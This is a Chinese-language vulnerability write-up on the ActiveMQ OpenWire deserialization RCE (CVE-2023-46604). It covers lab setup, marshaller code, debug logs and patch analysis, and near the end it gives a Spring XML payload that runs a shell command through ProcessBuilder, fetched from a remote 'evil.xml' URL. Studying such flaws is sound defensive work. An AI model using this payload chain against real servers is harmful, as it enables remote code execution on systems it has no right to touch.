背景

漏洞利用简介:activemq-client中针对openwire协议的处理存在问题,攻击者可以构造一个恶意对象(预期只接受throwable对象)发给broker触发对象反序列化(unmarshal)的过程,实现调用任意类的string参数构造方法,结合spring context 中的ClassPathXmlApplicationContext/FileSystemXmlApplicationContext 完成远程代码执行。参考漏洞官方简介:https://activemq.apache.org/news/cve-2023-46604

漏洞比较老,基于最近的契机简单分析一下,水一篇文章,没有什么新的东西。

2024年4月19日 下午11:26:47

00 activemq是什么

相关概念:
ActiveMQ是Apache软件基金下的一个开源软件,它遵循JMS1.1规范(Java Message Service),是消息队列服务,是面向消息中间件(MOM)的最终实现,它为企业消息传递提供高可用、出色性能、可扩展、稳定和安全保障。

JMS:Java Message Service,JMS是一个java平台中关于面向消息中间件的API。

PTP:The point-to-point,可以同步或者异步的发送和接受消息,每个消息仅被发送一次,且消费一次。

参考: https://www.h3c.com/cn/pub/Document_Center/2022/09/H3C_ZJJ_LJBZ_WebHelp/activemq/index.html

01 环境搭建

历史版本下载:
https://activemq.apache.org/components/classic/download/classic-05-17-03
https://archive.apache.org/dist/activemq/5.17.3/apache-activemq-5.17.3-bin.tar.gz

cd ~/Downloads/apache-activemq-5.17.3
./bin/activemq start
./bin/activemq status

后台管理:
http://localhost:8161/admin/index.jsp
http://localhost:8161/admin/queues.jsp

默认密码:admin admin

02 activemq使用: hello world

demo01 :官方代码

/apache-activemq-5.17.3/examples/openwire/java

demo02: 生产&消费

编写一个producer和consumer,参考:https://juejin.cn/post/6882194277234032654

1、producer发送消息:

package org.example;

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;

/**
 * Hello world!
 *
 */
public class Producer
{
    public static void main(String[] args) throws JMSException, InterruptedException {
        // 1. 获取连接工厂
        ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(
                ActiveMQConnectionFactory.DEFAULT_USER,
                ActiveMQConnectionFactory.DEFAULT_PASSWORD,
                "tcp://localhost:61616"
        );
        // 2. 获取一个向activeMq的连接
        Connection connection = factory.createConnection();
        // 3. 获取session
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

        // 4.找目的地,获取destination,消费端,也会从这个目的地取消息
        Queue queue = session.createQueue("user");

        // 5.1 消息创建者
        MessageProducer producer = session.createProducer(queue);

        // consumer --> 消费者
        // producer --> 创建者
        // 5.2. 创建消息
        for (int i = 0; i < 1; i++) {
//            TextMessage textMessage = session.createTextMessage("hi:"+i);
//            producer.send(textMessage);
            ObjectMessage objectMessage = session.createObjectMessage("123");
            producer.send(objectMessage);

            // 5.3 向目的地写入消息
            Thread.sleep(1000);
        }

        // 6.关闭连接
        connection.close();

        System.out.println("结束。。。。。");

//        链接:https://juejin.cn/post/6882194277234032654

    }
}

2、consumer接收消息:

package org.example;

import org.apache.activemq.ActiveMQConnectionFactory;

import javax.jms.*;


/**
 * @program: activemq_01
 * @ClassName Receiver
 * @description: 消息接收
 * @author: muxiaonong
 * @create: 2020-10-02 13:01
 * @Version 1.0
 **/
public class Receiver {

    public static void main(String[] args) throws Exception{
        // 1. 获取连接工厂
        ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory(
                ActiveMQConnectionFactory.DEFAULT_USER,
                ActiveMQConnectionFactory.DEFAULT_PASSWORD,
                "tcp://localhost:61616"
        );

        // 2. 获取一个向activeMq的连接
        Connection connection = factory.createConnection();
        connection.start();

        // 3. 获取session
        Session session = connection.createSession(false, Session.AUTO_ACKNOWLEDGE);

        // 4.找目的地,获取destination,消费端,也会从这个目的地取消息
        Destination queue = session.createQueue("user");

        // 5 获取消息
        MessageConsumer consumer = session.createConsumer(queue);

        while(true){
            TextMessage message = (TextMessage)consumer.receive();
            System.out.println("message:"+message.getText());
        }
    }
}

//        链接:https://juejin.cn/post/6882194277234032654

03 漏洞复现

1、golang的poc,发送二进制数据(golang模拟协议)

https://github.com/X1r0z/ActiveMQ-RCE

2、java的poc
https://github.com/T0ngMystic/Vulnerability_List/blob/main/CVE-2023-46604-ActiveMQ/src/main/java/ConnectionErrorPoc.java

3、本地复现:

04 漏洞分析

漏洞原因:activemq broker针对 throwable对象的unmarshal过程中,createThrowable函数中,classname和 有参构造函数的 value 都是来自于 二进制流中获取到的数据,二进制流的构造来自于客户端的marshal过程。当协议分析清楚时/客户端可以伪造时,那就可以发送一个恶意构造好的协议数据来触发。
漏洞利用效果:能调用任意类的String构造方法(结合 spring中的 ClassPathXmlApplicationContext)就可以实现rce。

修复后:如果有继承了Throwable类的对象可以被利用,那么依然可以利用。

漏洞patch分析:https://github.com/apache/activemq/commit/958330df26cf3d5cdb63905dc2c6882e98781d8f
在createThrowable中判断 class是否是继承Throwable类。

IDEA分析一下 createThrowable的调用来源:looseUnmarsalThrowable 和 tightUnmarsalThrowable

这两个函数的在ConnectionErrorMarshaller 、ExceptionResponseMarshaller、MessageAckMarshaller中都有用到(这3个类都实现了 DataStreamMarshaller接口)

这3个类的作用都是用来marshal/unmarshal对应的数据结构的:ConnectionError 16 、ExceptionResponse 31 、 MessageAck 22(都实现了Command接口,是DataStructure接口的子类)。因此要触发漏洞 转化为如何调用这几个类的方法。

OpenWireFormat类的实现:marshal和unmarshal方法。(调试原理需要断点打在 这两个方法上,触发路径在这里)

不同的datastructure有自己的 序列化反序列化类(就是涉及到上述的3个类):

如何在activemq的broker在收到消息时调用这几个 datastruture对应的序列化器的unmarshal方法?
结合源码&网上文章&下载activemq 源码调试:producer在创建connection时会发送消息,最终调用 oneway函数发送,此处接受Object。该方法可以直接调用,用来发送上述几个datastructure。

调试环境搭建

环境搭建与调试:(参考:https://blog.csdn.net/weixin_33857230/article/details/88770040)
1、下载activemq-parent-5.17.3
2、设置jdk11 并编译:mvn package -DskipTests
3、从~/Downloads/activemq-parent-5.17.3/assembly/的target中可以拿到编译好的文件运行
4、本地调试:复制配置文件到上层目录、IDEA 导入好lib文件。

目录结构:

调试环境:

客户端和服务端的通信逻辑

用client发送exp给服务端(broker 61616),看下客户端和marshal和unmarshal的过程:

# 客户端的 OpenWireFormat 日志打点, marshal和 unmarshal的调用过程

# 正常通信 建立链接时
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.WireFormatInfoMarshaller@358c99f5
 
               <- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.WireFormatInfoMarshaller@358c99f5
 
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ConnectionInfoMarshaller@3b938003
 
               <- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.BrokerInfoMarshaller@177b3d7d
 
               <- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ConnectionControlMarshaller@5f1d6aad
 
               <- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
 
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ConsumerInfoMarshaller@2a32de6c
 
               <- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
 


# 开始发送数据时(poc  ExceptionResponseMarshaller)
               // send poc....
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ExceptionResponseMarshaller@7f1302d6
 

[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.RemoveInfoMarshaller@5db250b4
 
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.RemoveInfoMarshaller@5db250b4
 
               <- [-]OpenWireFormat doUnmarshal:org.apache.activemq.openwire.v12.ResponseMarshaller@fca1b07
 
[*] OpenWireFormat marshal:org.apache.activemq.openwire.v12.ShutdownInfoMarshaller@78e94dcf
 
Disconnected from the target VM, address: '127.0.0.1:57927', transport: 'socket'

Process

上述每次客户端unmarshal过程,一一对应服务端给客户端发送数据的过程:

# 服务端 给客户端发送的 oneway方法 日志打点  
# 对应客户端的 doUnmarshal方法调用  
    # public void oneway(Object command) throws IOException {

[*] command WireFormatInfo { version=12, properties={StackTraceEnabled=true, PlatformDetails=Java, CacheEnabled=true, TcpNoDelayEnabled=true, SizePrefixDisabled=false, CacheSize=1024, ProviderName=ActiveMQ, TightEncodingEnabled=true, MaxFrameSize=104857600, MaxInactivityDuration=30000, MaxInactivityDurationInitalDelay=10000, MaxFrameSizeEnabled=true, ProviderVersion=null}, magic=[A,c,t,i,v,e,M,Q]}
[*] command BrokerInfo {commandId = 0, responseRequired = false, brokerId = ID:MAC.local-57433-1713862082531-0:1, brokerURL = tcp://MAC.local:61616, slaveBroker = false, masterBroker = false, faultTolerantConfiguration = false, networkConnection = false, duplexConnection = false, peerBrokerInfos = null, brokerName = localhost, connectionId = 0, brokerUploadUrl = null, networkProperties = null}
[*] command ConnectionControl {commandId = 0, responseRequired = false, suspend = false, resume = false, close = false, exit = false, faultTolerant = false, connectedBrokers = , reconnectTo = , token = null, rebalanceConnection = false}
[*] command Response {commandId = 0, responseRequired = false, correlationId = 1}
[*] command Response {commandId = 0, responseRequired = false, correlationId = 2}

[*] hit createThrowableorg.springframework.context.support.ClassPathXmlApplicationContexthttp://127.0.0.1:8001/poc
Breakpoint reached at org.apache.activemq.openwire.v12.BaseDataStreamMarshaller.createThrowable(BaseDataStreamMarshaller.java:231)
void
[*] command Response {commandId = 0, responseRequired = false, correlationId = 5}

一些值得记录的点

1、TcpTransport 的 oneway方法,可以发 obj 给客户端,触发客户端的反序列化。
2、客户端和服务端的通信过程中会marshal和unmarshal对应的Command类,activemq-client的代码在客户端和服务端都会用到。
3、为什么在公开的java的poc中 ClassPathXmlApplicationContext 需要继承 Throwable类?以及需要实现getMessage方法?需要看下ExceptionResponse的marshal和unmarshal过程。
ExceptionResponseMarshaller类的marshal过程中(针对exception的处理):

    public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
        ExceptionResponse info = (ExceptionResponse)o;
        int rc = super.tightMarshal1(wireFormat, o, bs);
        rc += this.tightMarshalThrowable1(wireFormat, info.getException(), bs);
        return rc + 0;
    }

BaseDataStreamMarshaller#tightMarshalThrowable1中 marshal Throwable对象o时,会调用 getName和getMessage方法。

对应的数据在unmarshal 中被触发。

    protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs) throws IOException {
        if (!bs.readBoolean()) {
            return null;
        } else {
            String clazz = this.tightUnmarshalString(dataIn, bs);
            String message = this.tightUnmarshalString(dataIn, bs);
            Throwable o = this.createThrowable(clazz, message);
            if (wireFormat.isStackTraceEnabled()) {
                int i;
        //...  

同理另外两个对象: MessageAck需要构造 info.getPoisonCause()。

    public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
        MessageAck info = (MessageAck)o;
        int rc = super.tightMarshal1(wireFormat, o, bs);
        rc += this.tightMarshalCachedObject1(wireFormat, info.getDestination(), bs);
        rc += this.tightMarshalCachedObject1(wireFormat, info.getTransactionId(), bs);
        rc += this.tightMarshalCachedObject1(wireFormat, info.getConsumerId(), bs);
        rc += this.tightMarshalNestedObject1(wireFormat, info.getFirstMessageId(), bs);
        rc += this.tightMarshalNestedObject1(wireFormat, info.getLastMessageId(), bs);
        rc += this.tightMarshalThrowable1(wireFormat, info.getPoisonCause(), bs);
        return rc + 5;
    }

ConnectionError需要 构造 info.getException()。


    public int tightMarshal1(OpenWireFormat wireFormat, Object o, BooleanStream bs) throws IOException {
        ConnectionError info = (ConnectionError)o;
        int rc = super.tightMarshal1(wireFormat, o, bs);
        rc += this.tightMarshalThrowable1(wireFormat, info.getException(), bs);
        rc += this.tightMarshalNestedObject1(wireFormat, info.getConnectionId(), bs);
        return rc + 0;
    }

4、ClassPathXmlApplicationContext 利用

<!--

        ClassPathXmlApplicationContext classPathXmlApplicationContext = new ClassPathXmlApplicationContext("http://127.0.0.1:8001/evil.xml");

-->
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
            <list>
                <value>/bin/sh</value>
                <value>-c</value>
                <value>open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator</value>
            </list>
        </constructor-arg>
    </bean>
</beans>

5、ClassPathXmlApplicationContext在java exp中的作用就是为了构造协议中的恶意对象,实际上org/springframework/context/support/ClassPathXmlApplicationContext的jar是不需要引入的。

参考

1、https://xz.aliyun.com/t/12929
2、activemq历史漏洞(数量不少):https://activemq.apache.org/components/classic/security
、activemq 分析(ConnectionErrorMarshaller、ExceptionResponseMarshaller、MessageAskMarshaller):https://t0ngmystic.com/sec/cve-2023-46604-activemq-rce/

END. 整体写的有点乱,希望下次写的更简明扼要一点。